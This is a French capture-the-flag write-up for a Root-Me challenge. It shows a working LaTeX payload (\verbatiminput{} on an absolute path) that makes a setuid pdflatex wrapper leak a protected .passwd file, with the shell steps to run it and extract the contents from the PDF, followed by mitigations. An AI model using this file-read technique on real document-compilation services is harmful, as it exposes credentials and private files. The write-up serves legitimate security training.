LaTeX Input – Root-Me Writeup

Ce challenge Root-Me de catégorie App-Script est classé en difficulté Facile. L'accès se fait via SSH sur une machine distante :

ssh -p 2222 [email protected]

Une fois connecté, on dispose d'un shell restreint sur le serveur du challenge. L'objectif est d'obtenir le contenu du fichier .passwd appartenant au challenge, protégé par les permissions du système de fichiers.

En explorant le répertoire du challenge, on trouve un script bash ainsi qu'un binaire setuid :

ls -la /challenge/app-script-ch23/
total 28
drwxr-xr-x  2 root         root          4096 ...
-rwsr-xr-x  1 app-script-ch23 root      8704 ch23
-rw-r--r--  1 root         root           312 ch23.sh
-r--------  1 app-script-ch23 root        32 .passwd

Le fichier .passwd est lisible uniquement par l'utilisateur app-script-ch23. Le binaire ch23 tourne avec les droits de cet utilisateur (bit setuid), et c'est lui qui va nous permettre d'atteindre le flag.

Analyse du script de compilation

En lisant le script source ch23.sh, on comprend exactement ce que fait le programme :

1. Il attend un fichier .tex en argument
2. Il crée un répertoire temporaire via mktemp -d
3. Il copie notre fichier dans ce répertoire sous le nom main.tex
4. Il compile deux fois avec pdflatex (double passe classique en LaTeX pour résoudre les références croisées)
5. Il supprime le fichier .tex source
6. Il affiche le chemin vers le PDF généré

L'appel à pdflatex contient une option de sécurité notable :

timeout 5 /usr/bin/pdflatex \
    -halt-on-error \
    -output-format=pdf \
    -output-directory "${TMP}" \
    -no-shell-escape \
    "${TMP}/main.tex" > /dev/null

Le flag -no-shell-escape est présent. Son rôle est de désactiver la commande \write18{cmd}, qui permettrait d'exécuter des commandes shell arbitraires directement depuis le code LaTeX. Cette protection semble robuste à première vue… mais elle ne couvre qu'un seul vecteur d'attaque.

La commande \input{} — une fonctionnalité native de LaTeX

En LaTeX, la commande \input{fichier} permet d'inclure le contenu d'un fichier externe dans le document en cours de compilation. C'est une fonctionnalité standard et légitime, utilisée pour modulariser les documents complexes.

Le problème ? \input{} accepte des chemins absolus, et l'option -no-shell-escape n'a aucun effet sur elle. En d'autres termes, on peut demander à pdflatex d'inclure /etc/passwd, /root/.ssh/id_rsa, ou n'importe quel fichier accessible par l'utilisateur sous lequel tourne le processus.

Ici, le binaire ch23 possède le bit setuid et s'exécute avec les droits de app-script-ch23, qui peut lire .passwd. La chaîne est donc complète :

• On fournit un fichier .tex contenant une commande d'inclusion de chemin absolu
• pdflatex s'exécute avec les droits de l'utilisateur cible
• Le contenu du fichier sensible se retrouve intégré dans le PDF de sortie
• On extrait le flag depuis le PDF

Il s'agit d'une vulnérabilité de type Arbitrary File Read, exploitée via une fonctionnalité native du moteur LaTeX. La protection mise en place (-no-shell-escape) est insuffisante car elle ne couvre que le vecteur d'exécution de code shell, pas le vecteur d'inclusion de fichiers.

Pour renforcer la sécurité, il aurait fallu exécuter pdflatex dans un environnement isolé — sandbox, conteneur Docker, chroot — ou avec un utilisateur sans accès aux fichiers sensibles du challenge.

Construction du payload LaTeX

La clé de l'exploitation réside dans le choix de la commande d'inclusion. On pourrait utiliser \input{}, mais elle tente d'interpréter le contenu du fichier comme du code LaTeX. Si le flag contient des caractères réservés (_, #, %, &, $, {, }...), la compilation échouera.

La solution est d'utiliser \verbatiminput{} du package verbatim, qui inclut le contenu du fichier tel quel, sans aucune interprétation. C'est le choix le plus robuste pour lire des fichiers arbitraires.

On se connecte en SSH puis on crée le fichier malveillant :

ssh -p 2222 [email protected]

cat > /tmp/read_flag.tex << 'EOF'
\documentclass{article}
\usepackage{verbatim}
\begin{document}
\verbatiminput{/challenge/app-script-ch23/.passwd}
\end{document}
EOF

On lance ensuite la compilation via le binaire setuid du challenge :

/challenge/app-script-ch23/ch23 /tmp/read_flag.tex

Le script affiche le chemin du PDF généré :

[+] Compilation ...
[+] Output file : /tmp/tmp.aB3xYqZ8mL/main.pdf

Extraction du flag depuis le PDF

Le contenu du fichier .passwd a été intégré dans le PDF lors de la compilation. On peut l'extraire directement depuis le terminal sans avoir besoin d'un lecteur PDF graphique :

pdftotext /tmp/tmp.aB3xYqZ8mL/main.pdf -

Si pdftotext n'est pas disponible, une alternative simple consiste à chercher les chaînes lisibles dans le binaire PDF :

strings /tmp/tmp.aB3xYqZ8mL/main.pdf | grep -v "^%" | head -30

Le flag apparaît en clair dans la sortie, correspondant au contenu de .passwd :

<flag>

Ce challenge illustre une erreur de sécurité classique : une protection partielle qui donne une fausse impression de robustesse. La chaîne d'attaque est concise et directe :

1. Analyse du script bash → identification de l'appel à pdflatex avec -no-shell-escape
2. Identification de la fonctionnalité \verbatiminput{} non couverte par cette option
3. Création d'un fichier .tex exploitant l'inclusion de chemin absolu
4. Exécution via le binaire setuid pour lire .passwd avec les droits de l'utilisateur cible
5. Extraction du flag depuis le PDF généré

Le point pédagogique principal est la différence entre désactiver l'exécution de code (-no-shell-escape bloque \write18{}) et contrôler l'accès aux fichiers — deux surfaces d'attaque distinctes que l'on doit traiter indépendamment. Une sandbox ou un chroot aurait rendu cette attaque impossible, quelle que soit la commande LaTeX utilisée.

1. Isolation de l'environnement d'exécution

La mitigation la plus efficace est d'exécuter pdflatex dans un environnement totalement isolé, sans accès au système de fichiers hôte :

• Conteneur Docker avec un volume temporaire dédié et sans montage des répertoires sensibles
• Chroot jail limitant la vue du système de fichiers au strict nécessaire pour la compilation
• Sandbox seccomp filtrant les appels système de lecture de fichiers hors du répertoire de travail

2. Utilisateur dédié sans accès aux fichiers sensibles

Le binaire setuid s'exécute avec les droits d'un utilisateur qui peut lire .passwd. En dissociant l'utilisateur de compilation de l'utilisateur propriétaire du flag, on casse la chaîne d'attaque. Le processus pdflatex devrait tourner sous un utilisateur aux privilèges minimaux, sans accès aux fichiers protégés.

3. Restriction des chemins accessibles par pdflatex

Certaines distributions de TeX Live proposent des mécanismes de restriction des chemins via la configuration texmf.cnf (option openin_any). En la positionnant à r (restricted) ou p (paranoid), on peut limiter l'accès aux seuls fichiers du répertoire de travail courant, bloquant ainsi les inclusions de chemins absolus comme /challenge/....